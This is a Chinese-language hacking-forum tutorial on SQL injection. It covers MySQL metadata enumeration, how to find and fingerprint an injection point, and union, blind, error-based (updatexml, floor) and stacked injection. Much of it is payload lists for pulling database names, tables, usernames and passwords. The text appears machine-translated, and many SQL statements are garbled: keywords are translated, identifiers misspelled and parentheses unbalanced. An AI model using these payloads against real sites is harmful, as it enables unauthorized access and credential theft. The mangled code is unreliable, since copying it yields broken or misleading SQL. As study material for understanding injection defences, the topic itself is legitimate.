H

SQL注入相关

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

1 数据库相关​

1.1 定义​

数据库是用于存储数据的仓库。
以某种方式一起存储的数据集可以与多个用户共享,具有最小的冗余,并且彼此独立于应用程序

1.2 分类​

关系型数据库 - SQL与表相似,表和表之间存在复杂的关系
mysql,sqlserver等
非关系型数据库 - NoSQL密钥- 价值形式,简化数据库结构并避免冗余。
Mangodb,Redis,被捕

1.3 基本操作​

查看数据库1
显示数据库();
使用数据库1
使用信息_schema
查看当前使用数据库1
选择数据库();
查看数据表1
显示表();
查看数据库版本1
选择版本();
使用当前数据库的用户1
选择用户();
查看数据库路径1
选择@@ datadir
查看安装路径1
选择@@基础
查看系统类型1
选择@@ version_compile_os

1.4 元数据表 - information_schema​

information_schema是一个信息数据库,该信息数据库持有有关MySQL Server维护的所有其他数据库的信息。例如数据库名称,数据库表,表数据类型和访问权限等。它在Web渗透过程中非常有用
SCHEMATA:提供有关当前MySQL实例中所有数据库的信息。该表是从显示数据库的结果中获取的。
TABLES表:提供有关数据库中表的信息(包括视图)。
COLUMNS表:提供表中的列信息。详细描述表的所有列和每列的所有列的信息。
通过元数据表查询数据表1
从信息_schema.tables中选择table_name where table_schema='test';
通过元数据表查询数据列1
从信息_schema.columns中选择column_name,table_name='table1';

2 SQL 注入定义及类型​

2.1 定义​

在应用程序和数据库层中发生的安全漏洞
直接在网站中发送的SQL请求通常并不危险,但实际情况是SQL语句需要与用户输入数据结合使用动态构建。如果将输入数据构建到恶意SQL代码中,并且Web应用程序不会查看动态构造的SQL语句使用的参数,则将带来安全风险。
形成原因用户可以控制参数传输
用户参数的内容在SQL语句中拼接
剪接的SQL语句在数据库中执行
摘要:用户输入的数据被执行为代码

2.2 分类​

布尔注入
关节查询注入
时间型注入
错误报告的注射
堆叠注射(多态查询注入)

3 判断 SQL 注入​

问题
确定访问目标URL是否具有SQL注入?
如果存在SQL注射,则属于什么样的SQL注入?
确定SQL注入后端数据库的类型?

3.1 经典的单引号判断法​

3http://xxx/text.php?id=1'
如果页面返回错误,则存在SQL注入;原因是字符类型和整数类型都会报告错误,因为单引号的数量与不匹配。

3.2 判断注入类型​

数字型通常构造,1=1和1=2判断
运算符判断法:这种判断方法的关键是通过加法,减法,乘法,除法和其他操作确定输入参数周围包裹的引号,然后通过某些常规攻击方法获得数据库的敏感信息。
字符型通常构造,'1'='1 and and and'1'='2判断
MySQL中的类型转换判断法:,如果相等符号两侧的类型不一致,则会发生铸件。将数字与字符串数据进行比较时,将将字符串转换为数字,然后进行比较。字符串1等于数字;字符串1a被铸造为1,等于1;字符串A被施加到0,因此等于0。
20210108155925.png-water_print

根据此功能,很容易判断输入点是字符类型,即是用引号包裹的(可能是单引号还是双引号,在大多数情况下,单引号)。访问?id=3-2,页面是空的,而不是数字类型,但可能是字符类型。继续尝试访问?id=2a,结果已成功返回,表明它是字符类型。

3.3 SQL 数据库的类型​

3.3.1 通过报错信息​

mysql
您在SQL语法中有错误
使用权
Microsoft Jet数据库…
MSSQL
Microsoft ODBC数据库…

3.3.2 数据库标志性信息​

sql server:选择@@版本-
Oracle:从V $版本中选择横幅
mysql:选择@@版本,版本() - ,长度(用户)0是正常的
postgresql:选择版本() -

3.3.3 数据库特有库名​

MySQL:信息_schema
Access:mySysObjects
Oracle:sys.user_tables
MSSQL:sysobjects

3.3.4 数据库特有函数​

sql server:@@ pack_received @@ rowcount
mysql:connection_id(),last_insert_id(),row_count()
orcale:BITAND(1,1)
postgresql:选择提取物(从现在开始(DOW())
可以在MSSQL中调用子字符串。甲骨文只能致电substr

3.3.5 字符串处理方式​

mssql:ID=1和'a'+'b'='ab'
mysql:id=1和'a'+'b'='ab','ab'=concat('a','b')
oracle:id=1和'a'+'b'='a'||'b','ab'=concat('a','b')
postgresql:id=1和'a'+'b'='a'||'b','ab'=concat('a','b')

3.3.6 特殊符号及注释​

null和%00是访问支持的评论
#是MySQL中的评论,并返回一个错误,表明注射点可能不是MySQL。此外,它还支持- 和/* * /评论
- 和/* * /是Oracle,SQL Server和MySQL支持的评论。如果是正常的,则指令可能是这三个数据库之一。
;是子句查询标识符。 Oracle不支持多行查询。它返回错误,可能是Oracle数据库。

4 UNION 联合查询注入​

4.1 原理​

联合操作员用于合并两个查询或多个选择语句的结果集
信息
联合内部的选择语句必须具有相同数量的列。
通过联合查询,将查询结果直接返回页面是注入它的最简单方法。

4.2 常用语句​

1
2
3
4
5
6
7
8
9
10
11
12
13
//库名称
Union Select Select 1,group_concat(schema_name),3来自Information_schema.schemata
联合选择1,(从信息_schema.schemata限制0,1选择schema_name),3
//表名
联合选择1,group_concat(table_name),3来自infory_schema.tables table_schema='security'
//列名
Union Select Select 1,group_concat(column_name),3来自infory_schema.columns table_schema='security'and table_name='emails'
//数据
Union Select Select 1,group_concat(ID,email_id),3来自Security.Emails

5 时间型盲注 布尔型盲注​

盲注是一种注入,它指的是猜测数据中的内容,而不知道数据库返回值并实现了SQL注入。盲目的赌注通常分为布尔下注,基于时间的赌注和错误报告的百叶窗。
时间型:通过注入特定的语句,请根据页面要求的物理反馈确定注射是否成功。例如,使用SQL语句中的Sleep()函数来判断注入点,以查看加载网页的时间。
布尔型:该页面仅返回两个状态(类型)页面,True and False。使用页面返回不同的数据,然后一一猜测数据。
适用的方案:通常,无法从显示页面获得执行结果,也无法知道是否执行注射语句。

5.1 原理示意​

选择*从用户where id='?'
?输入用户,替换:4'和睡眠(3)#
实际执行的实际SQL语句:选择*从用户id='4'和Sleep(3)#中的Select *
当ID=4时,睡觉3秒
当ID=4不存在时,直接返回
如果整个剪接的SQL正确,则执行睡眠。上一个错误(不存在),睡眠(3)将不会执行。

5.2 常用函数​

5.2.1 编码转换函数​

ORD('a'):将字符转换为ASCII代码
ASCII('a'):将字符转换为ASCII代码
char(97):将ASCII转换为字符

5.2.2 条件判断函数​

if(EXP1,EXP2,EXP3):EXP1建立,执行EXP2,否则执行EXP3。
情况何时函数:选择username='admin'然后睡觉的情况(1)else'错误'结束于wp_user_

5.2.3 截取函数​

substr 函数subtr(str,pos,len):从POS位置开始,并拦截String str的LEN长度
substr(从pos for Lengus):可用于过滤情况,
substring 函数串联(Str,POS,LEN):从POS位置开始,并拦截String Str的LEN长度
子字符串(从pos for Lengus):可用于过滤情况,
注意:POS从1开始
1
2
3
ID=1和if(ord(substr(database(),1,1))=116,1,0)%23
选择substring(数据库(),从1 for 1)
选择substring(数据库(),0,1)
mid 函数中部(str,pos,长度)
中间(从POS到长度)
1
2
选择MID(数据库(),从1 for 1)
选择MID(数据库(),1,1)
left 函数从左侧剪断字符串
左(str,len)
1
选择左(数据库(),1)
right 函数从右
右(str,len)
利用正则表达式逐位匹配1
2
3
4
从wp_user_中选择*密码rlike'^1'
选择*来自wp_user_ where密码regexp'^1'
从wp_user_中选择*密码regexp'^12'
.

5.2.4 延时函数​

睡眠(n):程序暂停n秒
1
if(ascii(substr(0))=97,sleep(3),0)
基准(Count,SHA(1)):执行SHA(1)功能计数时间以实现延迟的目的
1
选择基准(10000000,SHA(1))
使用笛卡尔产品创建延迟:
1
从Information_schema.Columns A,Invoryation_Schema.Columns B,Information_Schema.Tables c;
使用正则表达式匹配长字符串以创建延迟:
1
从wp_user _选择* id=1和if(1,concat(rpad(1,999999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,999999,'a'),rpad(1,9999) 99,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(rpad(1,9999999999999999999999999999年) ,'a'),rpad(1,999999,'a'),rpad(1,99999,'a'),rpad(1,999999,'a'),rpad(1,99999,'a''),rpad(1,999999999,a''''''''' '(a。)+(a。)+(a。)+(a。)+(a。)+(a。)+(a。)+(a。)+(a。)+(a。)+b',0)

5.2.5 其它函数​

count():计算总数
长度():返回字符串的长度

6 报错型注入​

6.1 原理​

用于使用SQL语句错误的语法,用于在没有回声的情况下注入结果,但是与输出显示了错误消息
返回的信息是攻击者所需的信息
MySQL错误注入主要分为以下类别:
数据类型的溢出,例如bigint
XPATH语法错误
count() + rand() +组,导致重复主键
空间数据类型功能错误

6.2 常用函数​

6.2.1 updatexml​

UpdateXML第二个参数需要传递的是XPath格式的字符串。如果输入不匹配,请返回参数值并报告错误。
最大误差长度为32位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//显示当前数据库
UpdateXMl(1,Concat(0x7e,database()),1)
//显示所有数据库
updatexml(1,concat(0x7e,(从indody_schema.schema.schemata limit x,1),1),0x7e),1),1),1)
//获取表名称
updatexml(1,contat(0x7e,(seless table_name from Invoryation_schema.tables where table_schema='sectest'limit'limim x,1),0x7e),1),1)
updatexml(1,make_set(3,'〜',(select group_concat(table_name)from Insproly_schema.tables.table_schema=database()),1),1)
//获取列名
updatexml(1,concat(0x7e,(seless column_name from Insprolry_schema.columns where table_name='wp_user_'limit 1,1),0x7e),1),1)
updatexml(1,make_set(3,'〜',(select group_concat(column_name)from Insproly_schema.columns where table_name='users''),1),1)
//获取数据
updatexml(1,contat(0x7e,(从wp_user_ limit 0,1中选择用户名),0x7e),1),1)
updatexml(1,contat(0x7e,(从wp_user_中选择密码,username='admin'limit'limit'限制0,1),0x7e),1),1)
updatexml(1,Concat(0x7e,(select group_concat(用户名,0x3a,passwass),wp_user_ whend id=1),0x7e),1),1)
updatexml(1,make_set(3,'〜',(从用户中选择数据)),1)#

6.2.2 floor 显错注入​

1
2
3
和(从(选择计数(*),Concat(user(),floor(rand(0)*2))x中的1个x中的1个,x)x
和(从wp_user_中选择1个(选择count(*),concat(((选择group_concat,username,0x3a,password),wp_user_ where id=1),floord(rand(0)*2))x from indoce_schema.tables by x)a)

6.2.3 其它显错注入​

1
2
3
4
5
6
7
和ExtractValue(1,Concat(0x7e,(select database())))))
//1105- xpath语法错误:'〜sect',time: 0.000000S
and Exp(〜(select * from(select user()a))//mysql5
Union Select * from(select name_const(version(),1),name_const(version(),1))a;
//1060-重复列名'5.7.23',time: 0.000000S

6.3 Demo​

payload1
2
3
4
updatexml(1,cont(0x7e,(version(version())),0)
$ sql='Select*从用户中的用户=''and UpdateXml /'以及密码=' /(1,concat(0x7e,(version(version()))),0)或'1'''''

7 堆叠注入​

一起执行一堆SQL语句(多个)
在MySQL中,主要在命令行中,添加;在每个语句的结尾,表示声明的结尾。这使您可以考虑一起使用多个SQL语句
问题
堆栈注射和工会注射有什么区别?
工会执行的语句类型受到限制,只能用于执行查询语句。
堆栈注入可以执行任何语句
注意:几乎没有场景;但有力
 
后退
顶部